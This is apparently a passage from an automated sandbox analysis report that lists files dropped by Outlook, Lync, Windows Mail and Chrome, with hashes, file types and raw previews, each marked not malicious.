Preview:	...P................d...................D...................System.StructuredQueryType.Action.System.StructuredQueryType.AllBitsSet.System.StructuredQueryType.AnyBitsSet.System.StructuredQueryType.Blurb.System.StructuredQueryType.Boolean.=TRUE.=FALSE.System.StructuredQueryType.ByteUnit.=1.=1024.=1048576.=1073741824.=1099511627776.=1125899906842624.=1152921504606846976.=1000.=1000000.=1000000000.=1000000000000.=1000000000000000.=1000000000000000000.System.StructuredQueryType.DateTime.N00UUUUUUUK7ZZNNU.N00UUUUUUUK1ZZNNU.N00UUUUUUUK2ZZNNU.N00UUUUUUUK3ZZNNU.N00UUUUUUUK4ZZNNU.N00UUUUUUUK5ZZNNU.N00UUUUUUUK6ZZNNU.N00UK1UUUUUUZZNNU.N00UK2UUUUUUZZNNU.N00UK3UUUUUUZZNNU.N00UK4UUUUUUZZNNU.N00UK5UUUUUUZZNNU.N00UK6UUUUUUZZNNU.N00UK7UUUUUUZZNNU.N00UK8UUUUUUZZNNU.N00UK9UUUUUUZZNNU.N00UK10UUUUUUZZNNU.N00UK11UUUUUUZZNNU.N00UK12UUUUUUZZNNU.R00UUUUUUUUZDNNU.R00UUUUUUUUD-1DNNU.R00UUUUUUUUD1DNNU.R00UUUUUUUUZZXD-1NU.R00UUUUUUUUZZXD1NU.R00UUUUUUUUZWNNU.R00UUUUUUUUW-1WNNU.R00UUUUUUUUW1WNNU.R00UUUUUUUUZZXW-1NU.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	dBase III DBT, version number 0, next free block index 423818, 1st item "ateTime"
Category:	dropped
Size (bytes):	423856
Entropy (8bit):	5.375072999048652
Encrypted:	false
SSDEEP:	6144:uMyflm+vyJfbnQkK96B88yKv4bWTmTvEiLS:uMyNm+6dF4/
MD5:	22BAD91A2BF01BA2E976ABA67C8D651F
SHA1:	657E730CB857DEC1FD5F16AAF7E96C6F5B4453FF
SHA-256:	C7C55A299A53E2D334669648A3220D936953FC0D80EFA70C1D5C93EDD3F858CC
SHA-512:	B9449BBF74667F4463377E303BC3CC95E4C19F44C141C97EC8B00D77E3AB1A8DF392425BDFE4D04FC8E51BA3F382A3112884BEBBF49601798E6349E37AC9B1F0
Malicious:	false
Preview:	.w.. ..............................P................d...................D...................System.StructuredQueryType.Action.System.StructuredQueryType.AllBitsSet.System.StructuredQueryType.AnyBitsSet.System.StructuredQueryType.Blurb.System.StructuredQueryType.Boolean.=TRUE.=FALSE.System.StructuredQueryType.ByteUnit.=1.=1024.=1048576.=1073741824.=1099511627776.=1125899906842624.=1152921504606846976.=1000.=1000000.=1000000000.=1000000000000.=1000000000000000.=1000000000000000000.System.StructuredQueryType.DateTime.N00UUUUUUUK7ZZNNU.N00UUUUUUUK1ZZNNU.N00UUUUUUUK2ZZNNU.N00UUUUUUUK3ZZNNU.N00UUUUUUUK4ZZNNU.N00UUUUUUUK5ZZNNU.N00UUUUUUUK6ZZNNU.N00UK1UUUUUUZZNNU.N00UK2UUUUUUZZNNU.N00UK3UUUUUUZZNNU.N00UK4UUUUUUZZNNU.N00UK5UUUUUUZZNNU.N00UK6UUUUUUZZNNU.N00UK7UUUUUUZZNNU.N00UK8UUUUUUZZNNU.N00UK9UUUUUUZZNNU.N00UK10UUUUUUZZNNU.N00UK11UUUUUUZZNNU.N00UK12UUUUUUZZNNU.R00UUUUUUUUZDNNU.R00UUUUUUUUD-1DNNU.R00UUUUUUUUD1DNNU.R00UUUUUUUUZZXD-1NU.R00UUUUUUUUZZXD1NU.R00UUUUUUUUZWNNU.R00UUUUUUUUW-1WNNU.R00UUU

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{889E11D4-A8A8-44AD-8352-E3CA2FCD8629}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	5848
Entropy (8bit):	3.5645820618055906
Encrypted:	false
SSDEEP:	96:P2V221t9xtjkgCjZzDCavdTYz2NkswTxmz2:ud1ttjUJDCaTYzpxmz2
MD5:	71A74989D73E2D776DF3283B920D9889
SHA1:	7EBDB1E69A12D1A9A50609ED6067BD7C3ABE89A5
SHA-256:	EA312C781AAC7EDBF7C19A564A79E4FD3102D8C5EA85769F9E318160A7080B40
SHA-512:	30ABCFDA8AB4AFD8A85E6E3E995B398769B8F22AF99DFEAFD9C50C5C30F9E0D852D41E619F152D682F3813E383BDA84EAE810827FB3646AADFF1B1731A5F65C7
Malicious:	false
Preview:	......Y.o.u. .d.o.n.'.t. .o.f.t.e.n. .g.e.t. .e.m.a.i.l. .f.r.o.m. .c.o.r.m.a.c.k.s.t.a.t.i.o.n.@.b.e.l.l.n.e.t...c.a... .H.Y.P.E.R.L.I.N.K. .".h.t.t.p.s.:././.a.k.a...m.s./.L.e.a.r.n.A.b.o.u.t.S.e.n.d.e.r.I.d.e.n.t.i.f.i.c.a.t.i.o.n.".................................................................................................................................................................................................................................................................................................................................6...8...J...h...j...v...>...@...P.............................................................................................................................................................................................................................................................................$..$.If....:V.......t.....6......4........4........a.......-D..M................*...$..$.If........!v..h.#v....:V.......t.....6......5.......4

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\AppData\Local\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\3F1B5091-5243-4F29-8841-7088A48E46C7

Download File

Process:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173125
Entropy (8bit):	5.290333073092666
Encrypted:	false
SSDEEP:	1536:Ui2XPRAqIbz41gwErLe7HW8bM/hMYcAZl1p5ihs7gXXpEIJROdYd:XHe7HW8bM/AXOZ0
MD5:	1C574DF90F05D2F907152DDE3CA53506
SHA1:	D6028C33D30977F840C8B3C4C08CA5E7970AF489
SHA-256:	1553C3B5EA5352B16E95CCF3F928FF380A80246516022C276BDECF437134DE88
SHA-512:	1824FFF10CC1501DF162DABEAA48AD9873A6B0F1DB632AAB3DFD9DF78C6FEB991686E305DD587DFECC120114E8AD87A4A660991149E93538802F30DE6D1CA795
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-08-28T20:20:53">.. Build: 16.0.18014.40125-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxAccountsAlwaysOnLog.etl

Download File

Process:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1254230608450276
Encrypted:	false
SSDEEP:	12:60mXXPqF69Fq5DuOxK8CWuQ1UMCl2M+aqc2EfK8CImXP:+1WKfGSMClCaoEfKfIW
MD5:	FE7C157510156946F009A71F43C0311C
SHA1:	57033A92CA69DE9698E77CF7E4314A687B7CB693
SHA-256:	D6F56AA4E531A25FEECE02623460C08A8D849155C6F42170D4C354397D8DDAAB
SHA-512:	DDAB551150301A1E843A4F6D81E7F4F5E0002542244F29D1D871CC7D1A39F86733C3EDE5B18B4ECF251DA9569B56A872B6A54AF2D33875CD0305E39190317C9A
Malicious:	false
Preview:	............................................................................b... .......o!X.....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y.........._M.............H.x.A.c.c.o.u.n.t.s.A.l.w.a.y.s.O.n.L.o.g.g.e.r...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.a.c.k.a.g.e.s.\.m.i.c.r.o.s.o.f.t...w.i.n.d.o.w.s.c.o.m.m.u.n.i.c.a.t.i.o.n.s.a.p.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.\.L.o.c.a.l.S.t.a.t.e.\.H.x.A.c.c.o.u.n.t.s.A.l.w.a.y.s.O.n.L.o.g...e.t.l.............P.P. .........X.....................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxmAlwaysOnLog.etl

Download File

Process:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11960763410183572
Encrypted:	false
SSDEEP:	12:95PqF69Fq5DuxA8CeuQ1UMCl2M+aqc2EOCKb:n1XAfOSMClCaoEF2
MD5:	012FA61C380FB560B9DBC487BDEB95A9
SHA1:	A603A8DBA8C696E9B72FB9EED3F9E6493859C70E
SHA-256:	18916B1085F3D910342ED51A0B03C68F2299B472E60A0750180E4B7A5B92553B
SHA-512:	360741C747F4D7C37A6F70152C33BFE3C77E547AD88932039B19F8FBD04E3DF31A2F17B7A5CF31DBEDB152FEE443FB74473B5A0216DF02D1CEE4AA1856DF99D5
Malicious:	false
Preview:	............................................................................@...........S`......................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y..........i..............H.x.M.A.l.w.a.y.s.O.n.L.o.g...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.a.c.k.a.g.e.s.\.m.i.c.r.o.s.o.f.t...w.i.n.d.o.w.s.c.o.m.m.u.n.i.c.a.t.i.o.n.s.a.p.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.\.L.o.c.a.l.S.t.a.t.e.\.H.x.m.A.l.w.a.y.s.O.n.L.o.g...e.t.l.......P.P........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	2.557811826549181
Encrypted:	false
SSDEEP:	3072:LANVM/E7Tc6ftCg8vNsELwgBEjYOMT1UoLWwPAon6x1QWAEFRbZqO/q7rEtbGglv:ZXsp6BR2n4
MD5:	3A29394542E9B102974404452FAB792D
SHA1:	552CF6EE685BF80D004351C4D367ED63D9950973
SHA-256:	C5A8ADBA0F5DB2C64B33D2DB4AADC0CC04145BD6D30A2F1EDF7E02002DF81767
SHA-512:	0A05C4686FF2C3CE21A2AD17B9C53F97A1DE989C5472B107BC121A03D4CF958449720B4792606C5C21A2CBAD8E8C83BB9156E1EC6FD3419115FD307FCBC9F7AE
Malicious:	false
Preview:	regf........b.Q.7.................. ....P......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm.f.................................................................................................................................................................................................................................................................................................................................................. .w5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	286720
Entropy (8bit):	4.026700463605781
Encrypted:	false
SSDEEP:	3072:yANVM/E7Tc6ftCg8vNsELwgBEjYOMT1UoLWwPAon6x1QWAEFRbZqO/q7rEtbGglv:KXsp6BR2n4
MD5:	12FC9C659F90DC0BCBA0C759CBC8F889
SHA1:	F3FBBE85E7FC0985C2E9B59DF344A0708268A96D
SHA-256:	5B4CE37D3E3E02EA659D646BEAB69FAE0357E2375C709027401BB38DB7FA78A5
SHA-512:	63B7CDC125F5FF98567B874A9E562DC18451BD7D402150445BFD384157D8082A515AE646EB864D4C1BA30FB68769631FEF26FD48923CC8499E22B526D2F6516A
Malicious:	false
Preview:	regf........b.Q.7.................. ....P......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm.f..................................................................................................................................................................................................................................................................................................................................................).w5HvLE.^...........P........{.x..<r.O.@p.....P..hbin................b.Q.7..........nk,.T...7..................................x...............................Test....p...sk..h...h.......t.......H...X.............4.........?.......................?....................... ... ...............YQ..fr]%dc;.............nk ....................................07..h...............8...............ConfigSettings..p...sk..x...x...?...t.......H...X.............4.........?.......................

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1724876412421159500_1407FEC3-09D6-41C5-BD52-B9A40B31F4D6.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28753), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17684549863226912
Encrypted:	false
SSDEEP:	1536:yw6PnvZHLjTpp4rKq80UwddVgTHQ/MIjjuH7/JbxsreQ/BhyCcdr1LC6:mBHXf4rSasgJKLC6
MD5:	FD21DF80B7EC12709164DCB61B66E712
SHA1:	41753D75FB75E2DF16BC295DC2069A43F966D2DC
SHA-256:	A28D47B07E8EC877FFA5D77261E27F9BDB97FDD25C9D09C94D4049A161E8D88F
SHA-512:	4FF7A31762C006BD02CD3E45AE7E40657F3661D58C084B36FA30F820CF784CC9AFD04481D58AFCE9F48910C2D47DB754ED30BA1080DADC2410802DBBE82D2659
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..08/28/2024 20:20:12.455.OUTLOOK (0x187C).0x1474.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":25,"Time":"2024-08-28T20:20:12.455Z","Contract":"Office.System.Activity","Activity.CV":"w/4HFNYJxUG9UrmkCzH01g.4.11","Activity.Duration":13,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...08/28/2024 20:20:12.470.OUTLOOK (0x187C).0x1474.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":27,"Time":"2024-08-28T20:20:12.470Z","Contract":"Office.System.Activity","Activity.CV":"w/4HFNYJxUG9UrmkCzH01g.4.12","Activity.Duration":10805,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajor

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1724876412422287000_1407FEC3-09D6-41C5-BD52-B9A40B31F4D6.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240828T1620120199-6268.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	4.513625375044018
Encrypted:	false
SSDEEP:	768:J7XL75fhtEgu8O4io9nlPM8fGXjWlZyiWR65T/jLIGiW8WlW+W1+o1fzCoUK:04io9nlESGXjUZBWR65T/jLIT1V
MD5:	EC83638D09DF947F8732D8A1E4097DC8
SHA1:	1AEF23F38145AD834673B6AE7D0F7DC3AE615FE6
SHA-256:	430F7EB047FEB3CF9C15D0A8A685848E4CC788FCB6673AAC7296FFE4E47A3574
SHA-512:	72592014FAAF35BDC5D151699EB72B34D450E2D30025BC9453F1897B0199CFB3F7CE881910055AD30BEB30EE96799B10632D4C3E0912DD17993E6CA65D3D2417
Malicious:	false
Preview:	............................................................................`...t...\|..........................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y.........................v.2._.O.U.T.L.O.O.K.:.1.8.7.c.:.e.1.9.d.b.8.b.d.c.e.b.c.4.8.6.2.a.e.8.5.e.8.b.8.3.3.1.9.e.4.3.1...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.0.8.2.8.T.1.6.2.0.1.2.0.1.9.9.-.6.2.6.8...e.t.l.......P.P.t...\|..................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\lync_16_0_16827_20130-20240828T1620470473-8136.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	1.2407506057064572
Encrypted:	false
SSDEEP:	12:EDfEPqF69Fq5DuCAUwzLuQ11vlpTy5UGc9f9:tP14AUwzTHLTy5i
MD5:	D8F500D83DB5768B2880E84BC1ADFBFC
SHA1:	7ABA49E7062C960EFBED4D530D3E1442B77A92CD
SHA-256:	4D4AC0061F49E5B9446E71E38C8F63FD003C1FC0A54FB3407365D99984A85460
SHA-512:	402473647BE83A51C750D2A0DD2D09A488141E760B5BAC553809A3CCD95D2758CCDAED8E44DF94958B9F0932760E72E6A52DFE547A8587A3A7A9AFF4DED473EC
Malicious:	false
Preview:	............................................................................T............).....................eJ..............Zb......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y...........).............v.2._.l.y.n.c.:.1.f.c.8.:.e.c.c.d.4.8.c.8.7.7.b.a.4.3.9.6.a.f.0.2.e.3.b.9.7.9.b.7.1.5.4.a...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.l.y.n.c._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.0.8.2.8.T.1.6.2.0.4.7.0.4.7.3.-.8.1.3.6...e.t.l...........P.P..........).....................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:QOX:Q
MD5:	73D81B818789B9FC1EEA66BB08C2147A
SHA1:	080B5183BA9BC6FEBA12034A09F43091373E411D
SHA-256:	04DDEE85729FD1AC7B8236EBA4C724436BF8D73223206F6B48459F04F1FF3DC2
SHA-512:	CEE2E4102BA6A1A29867D471085AFF826E79B51AE0AEF8233B8338154F7F4B33F31C695A25D6DA76E50BB30855113007176122FD260A92F7FB4B52703E66DA07
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6703469600391148
Encrypted:	false
SSDEEP:	12:rl3baFBsqLKeTy2MyheC8T23BMyhe+S7wzQP9zNMyhe+S7xMyheCBxum:romnq1Py961J
MD5:	DCD7A88D78288F0FE6D98795A07BAE09
SHA1:	EEB1393EC11DBEFA0D552FC709CD3DEA6B81FAE7
SHA-256:	5CD83362EEBC8970165F6C498CE48B9B1206BFD2B0B16294290E161F561F6F2E
SHA-512:	5CF7A6B6723374C22FA611ADBD0AB6DE1A0994B36C3895CB3A4E4E87CA93E42D1D993F0207BD7637226F7A6508F684117DFE10D10603490199BECA7479BAAEC4
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 19:20:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.989914651816322
Encrypted:	false
SSDEEP:	48:8izhd6TGibHyYidAKZdA1FehwiZUklqehGy+3:8iS/jdy
MD5:	07C85A289A77C9A4FDEE24120CB874DA
SHA1:	C616630A4E787E79AE28558ACC405A8A5BD511E8
SHA-256:	3C79AA06C1FD90FA12C95119337FD98A10EE0C3FFBF6410C4452465CFD8111F0
SHA-512:	DEB46292EA7D0C7C078DDAB9F0B9E964F572BD7CA49603B3D59052B3705B07B424E92656F7CB5683079227E9259F60714A9395E469EB6047DAF08808834AE09A
Malicious:	false
Preview:	L..................F.@.. ...$+.,..........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y{.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 19:20:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.0038578163303296
Encrypted:	false
SSDEEP:	48:8Chd6TGibHyYidAKZdA1seh/iZUkAQkqehNy+2:8f/t9QQy
MD5:	21A2F4DF9F9164DF3CB31058BF1DC145
SHA1:	BFD528C253BB839809537C74C2401C3079182E36
SHA-256:	7EC49F777FFC987819E02F63DEB42B905C60E9BC771F320507EAC632D3B6A8F9
SHA-512:	A420AAE116E226BFA12CDF934F24C5448CD957A840C8D846CBC6C7E8A999EC23282A12DE5F4C67726D995794691AD81A3217A5A6269C7D3B356B144532C7BFE1
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....m......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y{.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0119588947180445
Encrypted:	false
SSDEEP:	48:86hd6TGiAHyYidAKZdA14meh7sFiZUkmgqeh7sHy+BX:83/snxy
MD5:	AC0C735A55C4D7B7CED8BE794BA0AA72
SHA1:	A483467E422AE12119BEB176FF4CE10C625124DA
SHA-256:	8E354E320DBAE0EF72469A26CA02C6FE35710063CF75CF11AF833851FB2FAD2E
SHA-512:	50F3AF8F963EA332442E62AF60D94999161808885612D1D6FE1325C9E048B3B58B8425DE702F57B6EDE3B68268C75BFC2B138BD630C2E01CF1EB7D3A2C5650C9
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y{.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 19:20:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.002576547035656
Encrypted:	false
SSDEEP:	48:8chd6TGibHyYidAKZdA1TehDiZUkwqehJy+R:8F/efy
MD5:	19357DF29FA1CEFEE7192E38F0A9EF4D
